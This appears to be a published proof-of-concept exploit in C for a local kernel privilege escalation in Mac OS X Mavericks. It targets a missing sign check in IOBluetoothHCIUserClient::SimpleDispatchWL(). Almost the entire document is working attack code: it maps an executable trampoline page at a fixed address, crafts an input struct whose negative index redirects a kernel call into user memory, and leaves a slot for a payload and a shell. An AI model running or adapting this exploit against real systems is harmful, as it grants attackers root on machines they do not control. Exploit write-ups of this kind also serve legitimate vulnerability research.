Mac OS X Mavericks IOBluetoothHCIUserClient Privilege Escalation

[akkiliON]

/*
 * pwn.c, by @rpaleari and @joystick
 *
 * This PoC exploits a missing sign check in
 * IOBluetoothHCIUserClient::SimpleDispatchWL().
 *
 * Tested on  Mac OS X Mavericks (10.9.4/10.9.5).
 *
 * Compile with: gcc -Wall -o pwn{,.c} -framework IOKit
 * 
 */

#include <stdio.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

uint64_t payload() {
  /* Your payload goes here. */
}

int main(void) {
  /* Map our landing page (kernel will jump at tgt+7) */
  vm_address_t tgt = 0x0000048800000000; 
  vm_allocate(mach_task_self(), &tgt, 0x1000, 0);
  vm_protect(mach_task_self(), tgt, 0x1000, 0,
         VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE);
  memset((void *)tgt, 0, 0x1000);

  /* Prepare payload */
  char *target = (char *)tgt;

  /* mov rax, payload */
  target[7] = 0x48;
  target[8] = 0xb8;
  *((uint64_t *)(&target[9])) = (uint64_t) payload;

  /* jmp rax */
  target[17] = 0xff;
  target[18] = 0xe0;

  printf(" [+] Payload function  @ %016llx\n", (uint64_t) payload);
  printf(" [+] Stored trampoline @ %016llx\n", (uint64_t) tgt+7);

  /* Find the vulnerable service */
  io_service_t service =
    IOServiceGetMatchingService(kIOMasterPortDefault,
                IOServiceMatching("IOBluetoothHCIController"));

  if (!service) {
    return -1;
  }

  /* Connect to the vulnerable service */
  io_connect_t port = (io_connect_t) 0;
  kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
  IOObjectRelease(service);
  if (kr != kIOReturnSuccess) {
    return kr;
  }

  printf(" [+] Opened connection to service on port: %d\n", port);

  /* The first 8 bytes must be 0, so we don't have to handle following
     parameters */
  char a[] = "\x00\x00\x00\x00\x00\x00\x00\x00"
    /* Don't really matter for the exploit (ignored due to the 0s above) */
    "\x00\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\x00\x11\x0a\x00\x00\x03\x72\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xfa\x2a\x54\xff\x7f\x00\x00\x78\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\xa8\xfb\x2a\x54\xff\x7f\x00\x00\xd8\xfa\x2a\x54\xff\x7f\x00\x00\x60\x4a\xb6\x86"
    "\x80\xff\xff\xff"
    /* Index value 0xfff5b6a8 makes _sRoutines[index] point to an in-kernel
       memory area that contains {0x0000048800000007, N}, with 0 <= N < 8. May
       need to be adjusted on other Mavericks versions. */
    "\xa8\xb6\xf5\xff\x80\xff\xff\xff"; 

  printf(" [+] Launching exploit!\n");
  kr = IOConnectCallMethod((mach_port_t) port,      /* Connection      */
                           (uint32_t) 0,            /* Selector        */
                           NULL, 0,                 /* input, inputCnt */
                           (const void*) a,         /* inputStruct     */
                           sizeof(a),               /* inputStructCnt  */
                           NULL, NULL, NULL, NULL); /* Output stuff    */

  /* Exec shell here after payload returns */

  return IOServiceClose(port);
}